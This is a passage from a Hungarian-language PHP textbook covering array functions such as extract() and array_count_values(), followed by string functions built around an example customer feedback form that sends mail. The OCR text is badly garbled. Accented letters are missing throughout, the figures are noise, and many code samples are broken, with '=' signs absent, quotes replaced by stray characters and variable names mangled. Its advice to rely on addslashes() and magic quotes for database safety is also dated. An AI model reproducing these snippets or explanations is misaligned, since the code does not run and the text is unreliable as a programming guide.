($ertek) , a tmb elemnek kulcst ($kulcs) s a paramtert ($szorzotenyezo) . Aztn persze dnthetnk gy, hogy
a kulccsal nem foglalkozunk.

rdemes felfigyelni az $ertek tadsnak mdjra. A saj at_szorzo_ fuggveny () fggvny deklarlsban a vltoz
neve eltti s (&)jel azt jelenti, hogy az $ertek paramter hivatkozsknt addik t. A hivatkozs szerinti tads lehetv te
szi, hogy a fggvny mdosthassa a tmb tartalmr.
A hivatkozs szerinti paramtertadssal az 5. fejezetben rszletesebben is foglalkozunk. Ha nem ismers szmunkra ez
a fogalom, akkor egyelre elg annyit megjegyezni, hogy a hivatkozs szerinti tadshoz s (&)jelet helyeznk a vltoznv el.

Tmbelemek szmllsa: coun t () , si z e of ( ) s ar ra y_coun t_va l u es () fiiggvny


Egy korbbi pldban arra hasznltuk a count ( ) fggvnyt, hogy megszmoljuk a rendelsek tmbjben lev elemeket.
A sizeof() fggvny pontosan ugyanezt a clt szolglja. Mindkt fggvny a neki radort tmb elemszmt adja vissza. Az
elemszmot ltalnos skalris vltozknt kapjuk vissza, illerve, amennyiben res tmbt vagy egy mg be nem lltott vltozt
adunk t a fggvnynek, eredmnyl nullt kapunk.
Az array_count_values() fggvny ennl kicsit bonyolultabb. Ha meghvjuk, a fggvny megszmolja, hogy az egyedi
rtkek hnyszor fordulnak el a $tomb nev tmbben. (Ezt a tmb szmassgnak nevezzk.)A tmb egy gyakorisgi tb
lzatot tartalmaz asszociatv tmbt ad vissza. Ez a tmb kulcsknt tartalmazza a $tomb egyedi rtkeit. Minden kulcshoz
egy szmszer rtk tartozik, amely azt kzli, hogy a kulcs hnyszor fordul el a $tomb tmbben.
Pldul az albbi kd:
$tomb

array(4,

5,

l,

2,

3,

l,

2,

l);

$ac = array_count_values($tomb);

egy $ac nev tmbt hoz ltre, amely a kvetkezket tartalmazza:


Kulcs

rtk

Az eredmny tudatja velnk, hogy a 4, az 5 s a 3 egyszer fordul el az $array tmbben, az l hromszor, a 2 pedig ktszer.

Tbk talaktsa skalris vltozkk: extract ()


Amennyiben egy nem numerikasan indexelt tmbben adott szm kulcs-rtk prral tallkozunk, az extract () fggvnnyel
skalris vltozk halmazv alakthatjuk ket. A fggvny prototpusa a kvetkez:
extract(array valtozo tomb

[,

1nt extract_tipusa]

[,

string elotagJ

);

Az extract() fggvny clja, hogy fogja a tmbt, s a benne lv kulcsok neveivel skalris vltozkat hozzon ltre. E vl
tozk rtknek a tmbben trolt rtkeket rendeli.
Nzzk ezt az egyszer pldt:
$tomb

array( 'kulcsl'

=>

'ertekl',

extract($tomb);
echo "$kulcsl $kulcs2 $kulcs3";

'kulcs2'

=>

'ertek2',

'kulcs3'

=>

'ertek3');

Tmbk hasznlata

71

A kd a kvetkez kimenetet eredmnyezi:


ertekl ertek2 ertek3

A tmb hrom elemmel rendelkezik, ezek kulcsa rendre: kulcsl, kulcs2 s kulcs3. Az extract () fggvny h
rom skalris vltozt hoz ltre: $kulcsl, $kulcs2 s $kulcs3. A kimenetbl lthatjuk, hogy a $kulcsl, $kulcs2 s
$kulcs3

rtke rendre 'ertekl ', 'ertek2' s 'ertek3 '.Ezek az rtkek az eredeti tmbbl szrmaznak.

Az extract () fggvny kt opcionlis paramterrel br: extract _tipusa s elotag.


Az extract_tipusa vltoz kzli a fggvnnyel, hogy miknt kezelje az sszetkzseket. Ezek azok az esetek, ame
lyekben mr ltezik a kulccsal egyez nev vltoz. Az alaprtelmezett lehetsg a meglv vltoz fellrsa. Az extract_
tipusa

lehetsges rtkeit a 3.2 tblzat mutatja.

3.2 tblzat: Az extract ( ) lehetsges extract tipusa paramterei


_

Tpus

Jelents

EXTR OVERWRITE

tkzs esetn fellrja a meglv vltozt.

EXTR SKIP

tkzs esetn kihagyja az adott elemet.

EXTR PREFIX SAME

tkzs esetn $elotag_ kulcs nev vltozt hoz ltre. Ehhez meg kell adni az
elotag

paramtert.

EXTR PREFIX ALL

Az elotag paramterben meghatrozott eltaggal ltja el a vltozneveket. Ehhez meg

EXTR PREFIX INVALID

Az elotag paramterben meghatrozott eltaggal ltja el a msklnben rvnytelen

kell adni az elotag paramtert.


vltozneveket (pldul a csak szmokbl ll neveket). Ehhez meg kell adni az elotag
paramtert.
Csak a mr ltez vltozkat nyeri ki (vagyis a tmbben lv rtkeket ltez vltozkba

EXTR IF EXISTS

rja). Ez a paramter pldul a $ REQUEST rvnyes vltozk halmazra konvertls


_

nl alkalmazhat.
EXTR-PREFIX-IF-EXISTS

Ha a vltoz eltag nlkli vltozata mr ltezik, eltaggal elltott vltozatt hozza ltre.

EXTR REFS

Hivatkozsknt nyeri ki a vltozkat.

A paramter kt leghasznosabb rtke az EXTR_OVERWRITE (az alaprtelmezett) s az EXTR_PREFIX_ALL. Alkalman


knt a tbbi lehetsg is hasznos lehet, pldul olyankor, amikor risztban vagyunk azzal, hogy egy adott tkzs be fog k
vetkezni, s ki akarjuk hagyni, vagy eltaggal kivnjuk elltni az adott kulcsot. Lssunk most egy egyszer, az EXTR_PREFIX_
ALL

rtket hasznl pldt! Figyeljk meg, hogy az itt ltrehozott vltozk neve eltag-alulvons-kulcsnv:

$tomb

array (

extract ($array,

'kulcsl'

>

'ertekl',

EXTR_PREFIX_ALL,

'kulcs2'

>

'ertek2',

'kulcs3'

=> 'ertek3');

'sajat_elotag');

echo "$sajat_elotag_kulcsl $sajat_elotag_kulcs2 $sajat_elotag kulcs3";

Ez a kd is a kvetkez kimenetet eredmnyezi:


ertekl ertek2 ertek3

Jegyezzk meg, hogy ha az extract () fggvnnyel szeretnnk egy elemet kinyerni, az elem kulcsnak rvnyes vltoz
nvnek kell lennie, vagyis a szmmal kezdd vagy szkzket tartalmaz kulcsokat a fggvny tugorja!

Tovbbi olvasnival
Ez a fejezet a PHP ltalunk leghasznosabbnak vlt tmbfggvnyeit mutatta be. Szndkosan nem vllalkoztunk

az

sszes

tmbfggvny trgyalsra. A http://www.php.net/array cmen elrhet online PHP kziknyvben rnindegyiknek megtalljuk
a

rvid lerst.

Hogyan tovbbi
A kvetkez fejezetben a karakterlncokat feldolgoz fggvnyekrl tanulunk. Azokkal a fggvnyekkel foglalkozunk, amelyek
szeringeket keresnek, cserlnek, illetve felosztjk s egyestik ket. Megismerkednk a regulris kifejezsek fggvnyeivel, ame
lyekkel szinte brmilyen mveletet elvgezhetnk a karakterlncokon.

4
Karakterlncok kezelse
s regulris kifejezsek
Ebbl a fejezetbl kiderl, hogyan hasznljuk a PHP szeringkezel fggvnyeit szveg formzsra s kezelsre. Azt is meg
crgyaljuk, miknt lehet szeringkezel fggvnyekkel s regulris kifejezsek fggvnyeivel szavakra, kifejezsekre vagy karak
cerlncon belli egyb szvegmintkra keresni (s Icicserlni azokat).
Ezek a fggvnyek szmtalan klnbz helyzetben igen hasznosak rudnak lenni. Gyakran van szksg arra, hogy adatb
zisban troland felhasznli inputot rendbe tegynk vagy rformzzunk. A keresfggvnyek kivlan alkalmasak - egyebek
kztt keresmotor-alkalmazsok fejlesztsre.
A fejezeeben az albbi fbb tmakrket trgyaljuk:
Karakterlncok formzsa
Karakterlncok egyestse s szrvlasztsa
Karakterlncok sszehasonltsa
Rszszrringek keresse s cserje szeringkezel fggvnyekkel
Regulris kifejezsek hasznlata
-

Mintaalkalmazs ltrehozsa: intelligens zenetkld rlap


Ebben a fejezerben intelligens zenerkld rlap ltrehozshoz fogunk karakterlncokat s regulris kifejezseket kezel
fggvnyeket hasznlni. Ha elkszltnk, Bob alkatrsz-kereskedsnek a korbbi fejezetekben fejlesztett honlapjhoz a<ljuk
ezeket a kdokat.
Ez alkalommal egy lnyegre tr s gyakran hasznlt zenerkld rlapot fogunk elkszteni, amelynek segtsgvel Bob
gyfelei panaszaikar s dicsreteiker kzlhetik vele. Az rlapot a 4.1 brn lthatjuk. Ez az alkalmazs azonban bizonyos te
kintetben fellmlja az interneten rallhat szmralan hasonszr rlapot. Ahelyett, hogy az rlapot egy olyan ltalnos e-mail
cmre kldennk, mint az info@cegnev.hu, megprbljuk a folyamatot intelligens tenni azltal, hogy kulcsszavakat vagy kife
jezseket keresnk a szvegben, majd az eredmny alapjn Bob megfelel alkalmazortjhoz irnytjuk az e-mailt. Ha pldul az
e-mail a reklm szt tartalmazza, akkor a vissz:Yelzst a marketingosztlynak cmezzk. Ha az e-mail Bob legnagyobb gyfel
tl jtt, akkor mehet egyenesen Bobhoz.

-.6- .,4
;-U - - -,..2
: _
e..---. ...........

...

_ __

Vsrlk zenetei
koeeljr ......
....
-----

----

...._
------

--

----

--

-- -------------

--------------

--

'------------------- _,
to........... l

4.1

bra: Bob visszajelzst vr rlapja az gyfelek nevt, e-mail cmt s szrevteleit kri.

74

4. fejezet

Induljunk ki a 4.1 pldakdban tallhat, egyszer kdbl, s olvass kzben bvtsk s fejlesszk azt!
4.1 pldakd: uzenet_ feldolgozasa.ph p- Az rlap tartalmnak elkldshez hasznlt kiindul kd
<?php

//rvid vltoznevek ltrehozsa


$nev=$ POST['nev '];
$email=$_POST[' email'];
$uzenet=$ POST[ ' uzenet '];
//statikus informcik belltsa
$cmzett

$targy

"uzenet@pelda.com";
"zenet a honlaprl";

$level_tartalma

''Vev neve: ''.$nev.''\n'' .


"Vev e-mail cme: ".$email."\n".
"Vev zenete:\n".$uzenet."\n";

$felada = "Felad: webszerver@pelda.com";


//mail() fggvny meghvsa az zenet elkldsre
mail($cimzett,

$targy,

$level tartalma,

$felada);

?>
<html>
<head>
<title>Bob autalkatrszek - zenet elkldve</title>
</head>
<body>
<hl>zenet elkldve</hl>
<p>zenett elkldtk.</p>
</body>
</html>

ltalban ellenriznnk-pldul az isset( ) fggvnnyel-, hogy a felhasznl az rlap minden ktelez mezjt kitl
ttte-e. Kdunkbl a tmrsg kedvrt kimaradt ennek a fggvnynek a meghvsa.
A kdbl lthat, hogy az rlapmezket sszefztk, s a PHP mail () fggvnyvel elkldtk e-mailben az u zenet@
pelda.com cmre. Ez egy minta e-mail cm. Amennyiben tesztelni szeretnnk a fejezetben fejlesztert kdot, cserljk ezt sajt

e-mail cmnkre! Mivel idig mg nem hasznltuk a mail( ) fggvnyt, nzzk meg elszr is azt, hogy hogyan mkdik!
Taln nem meglep, hogy a fggvny e-mailt kld. Prototpusa a kvetkezkppen nz ki:
bool mail(string cmzett,

string targy,

string uzenet,

string [tovabb1 fejlee [,

string

tovabbi_parameterek]]);

Az els hrom- nem mellesleg ktelez- paramterben az e-mail cmzettjt, a trgysor szvegt, illetve magt az zene
tet adjuk meg. A negyedik paramterrel tovbbi rvnyes e-mail fejlceket kldhetnk. Az rvnyes e-mail fejlcek lerst az
RFC822 dokumentumban talljuk, amely-ha tovbbi rszleteket szeretnnk megtudni-online elrhet. (Az RFC, azaz
Request for Comment- magyarui.Megjegyzs krs'- tbb internetszabvnynak a forrsa. Rszletesen a Hlzati s pro
tokol!fggvtJyek hasznlata cm 20. leckben foglalkozunk velk.) A negyedik paramter jelen esetben Felad: cmer ad az
zenethez. Hasznlhatnnk mg egyebek kztt a Vlaszcm: s Msolat: mezt is.
Ha egynl tbb tovbbi fejlcet kivnunk az zenethez adni, a karakterlncon bell jsor s kocsi vissza karaktert (\n\r)
hasznlva vlaszthatjuk el ket egymstl, mint pldul itt:
$tovabbi fejlecek="Felad: webserver@pelda.com\r\n "
. ' Vlaszcm: bob@pelda.com";

Az opcionlis tdik paramterrel az zenetkldsre belltort programnak adhatunk t paramtert.

Karakterlncok kezelse s regulris kifejezsek

75

A mai l () fiiggvny hasznlathoz be kell lltanunk a PHP-t, hogy az zenetkld alkalmazsunkra mutasson. Ha a kd
jelenlegi llapotban nem mkdik a rendszernkn, akkor valamelyik teleptsi bellts lehet a Iudas; tekintsk t a Fgge
lkben A PHP s

MySQL

teleptst!

A fejezet sorn ezt a kdot fogjuk a PHP szeringkezel fiiggvnyeinek, illetve a regulris kifejezsek fggvnyeinek alkalma
zsval tkletesteni.

Karakterlncok formzsa
Gyakran elfordul, hogy hasznlatuk eltt rendbe kell szednnk a felhasznlk ltal- jellemzen HTML rlapon keresz
tl - bevitt karakterlncokat. A most kvetkez rszekben az ilyen clra rendelkezsnkre ll fiiggvnyek kzl mutatjuk be
a fontosabbakat.

Karakterlncokmegvgsa: tr im (),l tr im () s rtrim () fggvny


A rendraks els lpse a karakterlnc megszabadtsa a felesleges fehrkz karakterektL Br ez a lps soha nem ktelez,
igen hasznos lehet, amikor fjlban vagy adatbzisban kivnjuk trolni, vagy ms szeringekkel szetetnnk sszehasonltani a ka
rakterlncot.
A PHP hrom, erre a clra alkalmas fiiggvnnyel rendelkezik. A kd elejn, ahol rvid neveket adunk az rlap bemeneti
vltozinak, a kvetkezkppen tisztthatjuk meg a bemeneti adatokat a t rim() fiiggvnnyel:
$nev = trim($ POST['nev']);

$email = trim($_POST['email']);

$uzenet

trim($_POST['uzenet');

A trim() fiiggvny eltvoltja a karakterlnc elejrl s vgrl a fehrkzket, s az gy kapott sztringer adja vissza.
A fggvny ltal alaprtelmezsben eltvoltott karakterek kz az jsor s a kocsi vissza karakterek ( \n s \r) , a vzszintes
s fggleges tabuttorok (\t s \xOB ) , a szering vge karakter (\0 ) s a szkzk tartoznak. Egy msodik- opcionlis
-paramterben megadhatjuk az ezen alaprtelmezett karakterek helyett eltvoltand karakterek listjt. Az adott cltl fug
gen hasznlhatjuk az l trim () vagy az rtrim () fiiggvnyt is. Mindkett a trim () fiiggvnyhez hasonl, a szban forg
karakterlncot fogadjk paramterknt, s a formzott sztringet adjk vissza. A hrom fuggvny kztt az a klnbsg. hogy
a trim () a karakterlnc elejrl s vgrl, az l trim () csak az elejrl (bal oldalrl), az rtrim() csak a vgrl (jobb olda
lrl) tvoltja el a fehrkz karaktereket.

Karakterlncokformzsa megjelents cljbl


A PHP szmtalan fiiggvnyt knl a karakterlncok klnfle tformzsra.

HTMLformzs alkalmazsa: az nl2br ()fggvny


Az nl2br() fuggvny a karakterlncot fogadja paramtereknt, s a benne lv sszes jsor karakterr az XHTML <br />
cmkre (rag) cserli. Kivlan hasznlhat hossz karakterlncok bngszben val megjelentsnL Hasznlhatjuk pldul
arra, hogy formzs utn megjelentsk az gyfl szrevtelt:
<p>Lent lthat zenett elkldtk.</p>
<p><?php echo nl2br($level_tartalma);

?> </p>

Ne feledjk, hogy a HTML figyelmen kvl hagyja a sima fehrkz karaktereket, gy ha nem szrjk meg a kimenetet
a nl2br ( ) fiiggvnnyel, a bngszablak ltal esetlegesen kiknyszertett sortrseket leszmtva egyetlen sorban fog megje
lenni. Az eredmnyt a 4.2 brn ltjuk.

Karakterlncformzsa nyomtatshoz
Idig az echo nyelvi szerkezettel jelentettk meg a bngszben a karakterlncokat. A PHP a print ( ) fiiggvnyt is t
mogatja, amely ugyanazt teszi, mint az echo, m rendelkezik visszatrsi rtkkel (am az eredmnytl fuggen true vagy
false ) .

76

4. fejezet

t..

..... _......_

VM>-.Milu.W....\'""'..-:_....,..\--.:-.Iq)--....... .
_ .......
"'"'4-.:1.'-oH,,..

::::::.._.-..--...._

........._

4.2 bra: A PHP nl2br () fggvnyvel tetszetsebb tehet a hossz karakterlncok HTML-en belli megjelentse.
Mindkt mdszer .as is'; azaz aktulis formjban nyomtatja ki a karakterlncot.A printf ( ) s a sprintf () fgg
vnnyel nmileg kifinomultabb formzst is vgrehajthatunic Alapveterr ugyangy mkdnek, azzal a klnbsggel, hogy
a printf () megjelenti a bngszben a formzott sztringet, az sprintf ()pedig visszatrsi rtkknt adja vissza.
Ha programozrunk mr korbban C-ben, akkor ltni fogjuk, hogy ezek a fggvnyek mkdsket tekintve C-beli trsaik
hoz hasonlak.Vigyzzunk azonban, mert szintaktikjuk nem teljesen azonos! Ha nem dolgozrunk mg ezekkel a fggvnyek
keL nmi idre lehet szksg, mg megszakjuk hasznlarukat, m igen hasznosnak s hatkonynak fogjuk tallni ket.

A kt fggvny prototpusa a kvetkez:


string sprintf
void printf

(string formatum

(string formatum

[,

[,

mixed parameterek ...])

mixed parameterek...])

Mindkt fggvny els paramtere egy formtumsztring, amely vltozk helyett formz kddal rja le a kimenet alakjt.
A tovbbi paramterek a formrumsztringbe helyettestett vltozk.
Az ee ho fggvny esetben hasznlhatjuk soron bell a megjelenteni kivnt vltozkat, ahogy az albbi plda is mutatja:
echo "A rendels vgssszege:

$total.";

Ha ugyanezt a printf () fggvnnyel szeretnnk elrni, a kvetkez formban kell hasznlni:


printf

("A rendels vgsszege: %s.",

$total);

A formtumsztringben lv %s-t konverzis specifikcinak nevezzk.Ez azt jelenti, hogy .karakterlnccal helyettestend':
Jelen esetben a karakterlncknt rtelmezett $total vltoz helyettesti.Ha az ebben a vltozban trolt rtk mondjuk
12.4, akkor mindkt mdszer esetn a 12 . 4 jelenik meg a bngszben.
A printf () alkalmazsnak elnye, hogy pontosabb konverzis specifikcit hasznlharunk annak meghatrozsra, hogy
a $total valjban egy lebegpontos szm, amely a tizedespont (magyar jells esetn tizedesvessz) utn kt tizedesjegyet
kell, hogy tartalmazzon. A kvetkez kddal rhetjk ezt el:
printf

("A rendels vgsszege:

%.2f",

$total);

Ha ilyen formzs esetn a $total vltozban 12.4 az eltrolt rtk, akkor az utasts 12. 4 O-knt fogja azt megjelenteni.
A formtumsztringben tbb konverzis specifikcit is megadhatunk.Amennyiben

konverzis specifikcit hasznlunk,

akkor ltalban n argumentum szerepel a formtumszering utn.A konverzis specifikcikat a listabeli sorrendben fogjk
lecserlni az tformzott argumentumok.Nzzk az albbi pldt:
printf

("A rendels vgsszege:

%.2f

(szllitssal egytt:

%.2f) ",

$total,

$total

szallitas);

Itt az els konverzis specifikci a $total, a msodik a $total_ szallit as vltozr hasznlja.
Mindegyik konverzis specifikci ugyanazt a formtumot kveti, ami a kvetkez:
%['kitolto_karakter][-][szelesseg] [.pontossag]tipus

Minden konverzis specifikci a % szimblummal kezddik.Ha tnylegesen a % szimblumot kivnjuk megjelenteni,


akkor a %% karaktereket kell hasznlni.
A kitolto_karakter opcionlis.Clja, hogy a vltozt az ltalunk meghatrozott szlessgre tltse ki.Plda lehet r
egy szmll el rakott nullk sorozata.
Az alaprtelmezerr kitlt karakter a szkz.Ha szkzt vagy nullt hatrozunk meg, nem szksges el aposztrfot ( ' )
helyezni.Brmilyen ms kitlt karaktert eltagknt aposztrffal kell elltni.
A - szimblum szintn opcionlis.Azt lltja be, hogy a mezben lv adat az alaprtelmezett jobbra igazts helyett balra
igaztva jelenik meg.

Karakterlncok kezelse s regulris kifejezsek

77

A szelesseg paramter kzli a printf () fggvnnyel, hogy (karakterben szmolva) mennyi helyet hagyjon az ide be

helyettestend vltoznak.
A pontos sag paramternek tizedesponttal kell kezddnie, s tartalmaznia kell a tizedespont (tizedesvessz) utn megje

lenteni kivnt tizedesjegyek szmt.


A specifikci utols rsze a tpus kclja. A lehetsges tpusok kdjt a 4.1 tblzatban talljuk.
4.1

tblzat: A

Tpus

konverzis specifikci tpuskdjai

Jelents

Egszknt rtelmezi, s binris szmknt jelenti meg.

Egszknt rtelmezi, s karakterknt jelenti meg.

Egszknt rtelmezi, s decimlis szmknt jelenti meg

Double tpusknt rtelmezi, s lebegpontosknt jelenti meg.

Egszknt rtelmezi, s nyolcas szmrendszerbeli szmknt jelenti meg.

Egszknt rtelmezi, s eljel nlkli decimlis szmknt jelenti meg.

Egszknt rtelmezi, s hexadecimlis szmknt jelenti meg kisbets a-f szmjegyekkeL

Egszknt rtelmezi, s hexadecimlis szmknt jelenti meg nagybets A-F szmjegyekkeL

Karakterlncknt rtelmezi s jelenti meg.

A printf () fggvny konverzis tpuskdokkal val hasznlata esetn alkalmazhatunk argumentumszmozst. Ez azt

jelenti, hogy argumentumainak nem szksges a konverzis specifikcikkal megegyez sorrendben lennik. Pldul:
printf

("A rendels vgsszege:

Stotal_szallitas,

%2\$.2f (szllitssal egytt:

%1\$.2f)

",

$total);

Csupn annyit kell tennnk, hogy az argumentum listabeli pozcijt kzvetlen l a% jel utn rjuk, s mg egy vdka
rakterrel, vagyis \jellel elltott $ szimblumot helyeznk; ebben a pldban a 2\$ azt jelenti, hogy .,helyettestsd a listban
msodik argumentummal!': Ezzel a mdszerrel ismtelni is lehet az argumentumokat.
A fuggvny kt alternatv vltozarnak vprintf () s vsprintf () a neve. Ezek kt paramtert fogadnak: a formtum

sztringer s - a vltoz szm paramterek helyett - az argumentumok tmbjt.

Kis- s nagybets rsmd megvltoztatsa a karakterlncban


Brmely karakterlncban megvltoztathatjuk, hogy egy rsze vagy egsze kis- vagy nagybetvel legyen szedve. Mintaalkalma
zsunk esetn ennek ugyan nem sok haszna van, m mgis nzznk meg nhny rvid pldt!
Induljunk ki az e-mail trgyt tartalmaz karakterlncbl ($targy), s vizsgljuk meg. hogy milyen fggvnyekkel vltoz
tathatjuk meg rsmdjt l E fggvnyek hatst a 4.2 tblzat foglalja ssze. Az els oszlopban a fggvny nevt ltjuk, a mso
dikban eredmnyt, a harmadikban azt, hogy miknt kell a $targy karakterlnc esetn hasznlni. Az utols oszlop a fuggvny
ltal visszaadott rtket mutatja.
4.2 tblzat: Kis- s nagybets rsmd megvltoztatsra alkalmas fggvnyek s hatsuk

Fggvny

Lers

Hasznlat

rtk

$targy

zenet a honlaprl
ZENET A HONLAPRL

strtoupper()

Nagybetss alaktja a karakterlncot

strtoupper($targy)

strtolower()

Kisbetss alaktja a karakterlncot

strtolower($targy)

zenet a honlaprl

ucfirst()

A karakterlnc els karaktert nagybetss alaktja (amennyiben az alfabetikus


karakter)

ucfirst($targy)

zenet a honlaprl

ucwords()

Nagybetss alaktja a karakterlnc

ucwords ($targy)

zenet A Honlaprl

minden, alfabetikus karakterrel kezdd


szavnak els karaktert

78

4. fejezet

Trolni kvnt karakterlncok formzsa: addslashes () s stripslashes () fiiggvny


A sztr;ngkezel fggvnyeket nem csak a karakterlncok vizulis formzsra hasznlhatjuk, hanem adatbzisban trolni
kvnt szeringeket is talaktharunk velk. Br az adatbzisba rssal egszen a MySQL hasznlata cm 2. rszig nem foglalko
zunk, a karakterlncok adatbzisban trolshoz szksges formzst itt s most fogjuk ttekinteni.
Egyes karakterek teljesen rtelmesek s megfelelek karakterlnc rszeknt, ugyanakkor gondot is okozhatnak, klnsen
akkor, ha adatbzisba helyezzk ezeket az adatokat, mivel az vezrl karakterknt rtelmezheti ket. A problms karakterek
az idzjelek {egyszeres s ktszeres), a visszaper (\ ) s a NULL karakter.
Meg kell tallni a mdjt annak, hogy megjelljk vagy vdkarakterrel kiemeljk ezeket a karaktereket, s gy a MySQL
s az ahhoz hasonl adatbzisok tisztban legyenek azzal, hogy klnleges, nem pedig vezrl karakternek szntuk ezeket.
Az ilyen karaktereket a visszaper vdkaraktert eljk rva emelhetjk ki. A " (ketts idzjel) pldul \" ( visszaper ketts
idzjel) lesz, a\ (visszaper) pedig\\

( visszaper visszaper). (Ez a szably egyetemlegesen rvnyes a klnleges karakterekre,

gy ha\\ szerepel karakterlncunkban, akkor\\\\ formban kell szerepeltetnnk.)


A PHP kt olyan fggvnnyel rendelkezik, amit kifejezetten"vdkarakterrel elltsra" alaktottak ki. Mieltt brmilyen
karakterlncot adatbzisba rnnk, az addslashes( ) fggvnnyel kell az albbiak szerint tforrnzni azt (feltve persze, hogy
PHP-bellitsaink kztt nincs ez a funkci alaprtelmezsben bekapcsolva):
$uzenet

addslashes(trim($_POST['uzenet']));

A szeringkezel fggvnyek tbbsghez hasonlan az adds lashes( ) is paramterknt fogadja a karakterlncot, majd
tformzott karakterlncknt aclja vissza.
A 4.3 brn ezeknek a fggvnyeknek a karakterlncra gyakorolt hatst lrhatjuk.
Ha sajt szervernkn is kiprbljuk a fggvnyeket, elkpzelhet, hogy a 4.4 brn lthathoz hasonl eredmnyt kapunk.

4
.lu---- -s-,,,....._. ....... CI'91-t-.,...
,. .... _

.. ..,_" ..........

4.3 bra: Az addslashes ()fggvny meghvsa utn az idzjelek visszaperjellel lettek kiemelve.

A stripslashes( ) eltvola a visszaperjeleket.

4.4 bra: Minden problms karakter dupln lett kiemelve; ez azt jelenti, hogy a magic quotesfunkci be van kapcsolva.

Ez az utbbi eredmny azt jelzi, hogy a PHP gy lett belltva, hogy automatikusan eltvolrja a visszapetjeleket. Ezt a funkcit
a magi c_quotes_gp c konfigurcis bellts szablyozza. A gpc, amely a PHP j teleptseinl alaprtelmezsben be van kap
csolva, a GET, a POST s a cookie szra utal. Ez azt jelenti, hogy az ezekbl a forrsokbl szrmaz vltozk esetben automatiku
san visszaperjel kerl a problms karakterek el. Amennyiben a bellts be van kapcsolva rendszernkn, a felhasznli adatok
megjelentse eltt meg kell hvnunk a stripslashes () fggvnyt, klnben megjelennek a visszaperjelek is.
A magic quotes funkci hasznlata hordozhatbb teszi kdunkat. A funkcirl rszletesebben olvasharunk az Egyb hasz
nosfunkcik cm 24. leckben.

Karakterlncok kezelse s regulris kifejezsek

79

Karakterlncok egyestse s felosztsa sztringkezel fggvnyekkel


Gyakran megesik,hogy kln-kln szeretnnk egy karakterlnc rszeit vizsglni. Tegyk fel,hogy szavanknt szeretnnk
megnzni egy mondatot (pldul helyesrs-ellenrzs cljbl),vagy elemekre kivnunk bontani egy domainnevet vagy e-mail
cmet! A PHP szmos olyan szeringkezel fggvnnyel (s egy regulris kifejezseket kezel fggvnnyel) rendelkezik,amelyek
lehetv teszik ezt.
Pldnkban Bob azt szeretn,hogy a nagyugyfel.com cmrl rkez zenetek kzvetlenl hozz fussanak be,ezrt az
gyfelek ltal begpelt e-mail cmet rszekre bontva megprbljuk kiderteni,hogy a kld Bob nagy gyfelnl dolgozik-e.

Az explode (), implode () s j o in () fiiggvny hasznlata


A fenti clra alkalmas els fggvny

az

explode (),amely

array explode(string elvalaszto,

az

albbi prototpussal rendelkezik:

string input [,

int limit]);

A fggvny fogja az in put paramterben meghatrozott karakterlncot,s az elvalasz to sztring ltal meghatrozol:t
elvlaszt karakter mentn darabokra bontja. A z gy kapott darabokat egy tmbbe helyezi. A darabok szmt az opcionlis
limit paramterrel korltozhatjuk.

A kvetkez kdot kell hasznlnunk arra,hogy az gyfl e-mail cmbl megrucijuk domainnevt:
$email_tomb

explode ( '@',

$email);

Az explode () fggvny fenti paramterekkel trtn meghvsa kt rszre bontja az gyfl e-mail cmt: a felhasznli
nvre,amely az $email_tomb[O l, illetve a domainnvre,amely az $email_tomb [l] tmbelemben troldik el. Most mr
kpesek vagyunk a domainnevet ellenrizve megllaptani,melyik vllalatnl dolgozik az gyfl,s zenett ennek megfelelen

tovbbtani a clszemlynek:
if ($email tomb[l]
$cimzett

==

"nagyugyfel.com")

"bob@pelda.com";

else {
$cimzett

"uzenet@pelda.com";

Amennyiben azonban a domainnv nagybetvel vagy kis- s nagybetvel vegyesen van szedve,ez a megkzelts nem fog
mk dni. gy tudjuk kezelni ezt a problmt, hogy a domainnv csupa nagybetre vagy csupa kisbetre konvertlsa utn
ellenrizzk az egyezsget:
if (strtolower($email_tomb[l])
$cimzett

==

"nagyugyfel.com")

"bob@pelda.com";

else {
$cimzett

"uzenet@pelda.com";

Az explode() fggvny hatst

az

implode () vagy a j oin() fggvnnyel fordthatjuk vissza (a kt fggvny egymssal

egyenrtk). Pldul:
$uJ_email

implode('@',

$email tomb);

Ez az utasts fogja az $email_tomb tmbelemeket,s az els paramterknt megadott sztringgel egyesti azokat. A fgg
vnyt az explode ()-hoz hasonlan hvjuk meg. m hatsa pont ellenttes.

Az strtok () fiiggvny hasznlata


A neki radott karakterlncot egyszerre darabokra bont explode () fggvnnyel ellenttben a strtok ( ) egyenknt vesz
belle tokennek nevezett darabokat. A strtok() az explode() fggvny kivl alternatvjt jelenti minden olyan esetben,
amikor egyenknt kell egy karakterlnc szavait feldolgozni.
A strtok() fggvny prototpusa:
string strtok(string input,

string elvalaszto);

Az elvlaszt lehet karakter s karakterlnc is,de a bemeneti karakterlncot-az explode fggvnnyel ellenttben- nem
a reljes elvlaszt karakterlncon,hanem az elvlaszt karakterlnc minden egyes karaktere mentn elvlasztja.
A strtok () meghvsa nem annyira egyszer, ahogy azt a prototpus alapjn gondolhatnnk. A hhoz,hogy a karakter
lncbl megkapjuk az els tokent,kt paramterrel, a karakterlnccal s az elvlasztval hvjuk meg a strtok() fggvnyt.
Ahhoz, hogy a karakterlncbl

az ezt

kvet tokeneket is megkapjuk, mr csak egyeden paramtert adunk a fggvnynek-az

elvlasztt. A fggvny a karakterlncon bell megrzi sajt bels mutatjnak helyt. Ha vissza akarjuk lltani a mutatt
a karakterlnc elejre,paramterknt jra tadjuk a fggvnynek.

80

4. fejezet

A strtok (} fggvnyt jellemzen a kvetkezkppen hasznljuk:


$token = strt ok ($uzene t'

' n n};

echo $token.n<br />n;


while

($token

!= nn}

$token = strtok (n n};


echo $token.n<br />n;

ltalban rdemes ellenrizni, hogy az gyfl rt-e brmilyen zenetet az rlapra; ezt pldul az empty (} fggvnnyel te
hetjk meg. Az egyszersg kedvrt a pldbl kihagytuk ezeket az ellenrzseket.
Az elz kd kln sorban jelenti meg az gyfl zenetben lv minden egyes cokent, s mindaddig fut a ciklus, amg van
token. Az res karakterlncokat automatikusan tlpi e folyamat kzben.

A substr ( ) fggvny hasznla ta


A substr (} fggvnnyel egy karakterlnc adott kezd- s vgpontja kzrti rszsztringeket rhetnk el. A fejezetben hasz
nlt pldban ugyan nincs r szksg, m hasznos lehet, amikor rgztett formtum karakterlncok rszeihez kell jutnunk.
A substr (} fggvny prototpusa a kvetkez:
string substr (string sztring,

int start[,

int hossz]

};

A fggvny asztring karakterlncbl kimsolt rszsztringet ad vissza.


A kvetkez pldk az albbi tesztsztringer hasznljk:

$teszt =

'gyflszolglatuk igen kivl';

